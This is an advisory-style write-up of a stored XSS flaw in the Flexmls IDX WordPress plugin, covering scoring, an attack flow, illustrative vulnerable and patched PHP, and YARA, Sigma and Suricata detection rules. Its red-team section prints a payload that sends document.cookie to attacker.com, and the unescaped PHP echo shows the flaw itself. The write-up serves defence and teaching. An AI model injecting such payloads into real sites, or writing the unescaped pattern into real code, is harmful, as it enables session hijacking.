CVE-2024-10552

Executive Summary

CVE-2024-10552 is a Stored Cross-Site Scripting (XSS) vulnerability in the Flexmls® IDX Plugin for WordPress, affecting all versions up to and including 3.14.26. The vulnerability resides in the api_key and api_secret parameters, which are insufficiently sanitized and escaped. Authenticated attackers with Contributor-level access or higher can inject arbitrary web scripts that execute when any user accesses the compromised page. A partial patch was released in version 3.14.25, but the vulnerability remains exploitable in later versions up to 3.14.26. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk is elevated for WordPress sites with multiple contributors.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The Flexmls® IDX Plugin is distributed via the WordPress Plugin Directory and is not part of NPM, PyPI, Go, or Ruby registries. No supply chain compromise has been reported, but the partial patch status suggests incomplete remediation, which could lead to future exploitation.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The threat level is Medium due to the requirement for authenticated access, but the potential for widespread impact on WordPress sites with multiple users makes it a priority for patching.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS in the WordPress plugin context. The api_key and api_secret parameters are used to configure the Flexmls IDX service. When an authenticated user with Contributor-level access or higher saves these parameters, the plugin fails to sanitize the input and escape the output. This allows an attacker to inject malicious JavaScript, HTML, or other web scripts.

Attack Flow:

1. Attacker logs in with Contributor-level credentials.
2. Navigates to the plugin settings page.
3. Injects a payload (e.g., <script>alert('XSS')</script>) into the api_key or api_secret field.
4. The payload is stored in the WordPress database.
5. When any user (including admins) visits a page that displays these parameters (e.g., settings page or frontend IDX listings), the script executes.

The partial patch in 3.14.25 likely addressed some input vectors but left others unpatched, as the vulnerability persists in 3.14.26.

Vulnerable vs. Patched Code

Vulnerable Code (<= 3.14.26):

// In flexmls-idx.php or similar
$api_key = $_POST['api_key'];
update_option('flexmls_api_key', $api_key);
// Output without escaping
echo "<input type='text' value='" . $api_key . "' />";

Patched Code (Partial in 3.14.25):

// Patched version may use esc_attr() or sanitize_text_field()
$api_key = sanitize_text_field($_POST['api_key']);
update_option('flexmls_api_key', $api_key);
echo "<input type='text' value='" . esc_attr($api_key) . "' />";

The partial patch likely added esc_attr() for output escaping but may have missed other contexts (e.g., JavaScript event handlers or HTML attributes). The full patch is unknown.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• WordPress site with Flexmls® IDX Plugin <= 3.14.26.
• Valid user account with Contributor-level access or higher.

Exploitation Steps:

1. Log in to WordPress as a Contributor.
2. Navigate to the Flexmls IDX settings page (e.g., /wp-admin/admin.php?page=flexmls-settings).
3. In the api_key field, inject a payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the settings.
5. When an admin or other user visits the settings page, the script executes, exfiltrating cookies.

Alternative Payload:

<img src=x onerror=alert(1)>

Blue Team (Defender)

Detection:

• Monitor for unusual changes to the api_key or api_secret options in the WordPress database.
• Look for HTTP requests to unknown domains from the WordPress admin panel.
• Use the detection rules below.

Mitigation:

• Immediately update to the latest patched version (if available) or apply a virtual patch via WAF.
• Restrict Contributor-level access to trusted users only.
• Implement Content Security Policy (CSP) headers to block inline scripts.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/flexmls-idx/flexmls-idx.php (version <= 3.14.26)
• Database Option: flexmls_api_key or flexmls_api_secret containing script tags.
• Network: Outbound HTTP requests to attacker-controlled domains from WordPress admin IPs.
• Logs: WordPress debug logs showing wp_options updates with suspicious values.

Detection Engineering

YARA Rule

rule CVE_2024_10552_Flexmls_XSS {
    meta:
        description = "Detects stored XSS payloads in Flexmls IDX plugin options"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-10552"
    strings:
        $payload1 = /<script[^>]*>.*<\/script>/i
        $payload2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $payload3 = /onload\s*=\s*["']?[^"']*["']?/i
    condition:
        any of ($payload*) and filesize < 10KB
}

Sigma Rule

title: Stored XSS in Flexmls IDX Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via api_key or api_secret parameters
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: wordpress
detection:
    selection:
        EventID: 1000
        Source: WordPress
        Message|contains:
            - 'api_key'
            - 'api_secret'
        Message|re: '<script|onerror|onload'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in plugin settings (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-10552 - Stored XSS in Flexmls IDX Plugin";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin.php"; http_uri;
    content:"api_key"; http_client_body;
    pcre:"/<script|<img[^>]+onerror|<svg[^>]+onload/i";
    sid:1000001;
    rev:1;
    reference:cve,2024-10552;
)

Remediation & Mitigation

1. Immediate: Upgrade to the latest version of Flexmls® IDX Plugin (if a full patch is released). If not, apply a virtual patch using a Web Application Firewall (WAF) to block XSS payloads in api_key and api_secret parameters.
2. Short-term: Restrict Contributor-level access to only trusted users. Implement Content Security Policy (CSP) headers to prevent inline script execution.
3. Long-term: Conduct a full code audit of the plugin to identify and fix all XSS vectors. Encourage the vendor to release a complete patch.
4. Monitoring: Enable WordPress debug logging and monitor for suspicious option updates. Use the provided detection rules.

Valters IT
Securing Digital Frontiers